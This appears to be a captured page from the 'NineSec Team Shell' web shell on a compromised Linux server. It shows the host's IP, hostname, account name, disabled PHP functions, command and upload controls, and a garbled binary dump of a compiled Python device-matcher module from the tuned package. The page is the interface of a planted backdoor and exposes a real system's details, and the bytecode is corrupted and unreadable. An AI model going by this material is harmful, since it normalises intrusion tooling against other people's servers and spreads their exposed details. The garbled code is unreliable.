NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/lib/python3.6/site-packages/tuned/hardware/__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/lib/python3.6/site-packages/tuned/hardware/__pycache__/device_matcher.cpython-36.pyc
3

�<�e(�@s*ddlZddlZdgZGdd�de�ZdS)�N�
DeviceMatcherc@s eZdZdZdd�Zdd�ZdS)ra,
	Device name matching against the devices specification in tuning profiles.

	The devices specification consists of multiple rules separated by spaces.
	The rules have a syntax of shell-style wildcards and are either positive
	or negative. The negative rules are prefixed with an exclamation mark.
	cs�t|t�rtjd|�}dd�|D���fdd�|D�}t��dkrL�jd�d}x�D]}tj||�rVd}PqVWx|D]}tj||�rvd}PqvW|S)	a
		Match a device against the specification in the profile.

		If there is no positive rule in the specification, implicit rule
		which matches all devices is added. The device matches if and only
		if it matches some positive rule, but no negative rule.
		z\s|,\s*cSs*g|]"}|jd�r|j�dkr|�qS)�!�)�
startswith�strip)�.0�rule�r	�$/usr/lib/python3.6/device_matcher.py�
<listcomp>sz'DeviceMatcher.match.<locals>.<listcomp>cs g|]}|�kr|dd��qS)�Nr	)rr)�positive_rulesr	r
rsr�*FT)�
isinstance�str�re�split�len�append�fnmatch)�self�rulesZdevice_nameZnegative_rulesZmatchesrr	)r
r
�matchs 



zDeviceMatcher.matchcCs,g}x"|D]}|j||�r
|j|�q
W|S)z�
		Match a device list against the specification in the profile. Returns
		the list, which is a subset of devices which match.
		)rr)rrZdevice_listZmatching_devicesZdevicer	r	r
�
match_list,s

zDeviceMatcher.match_listN)�__name__�
__module__�__qualname__�__doc__rrr	r	r	r
rs)rr�__all__�objectrr	r	r	r
�<module>s

NineSec Team - 2022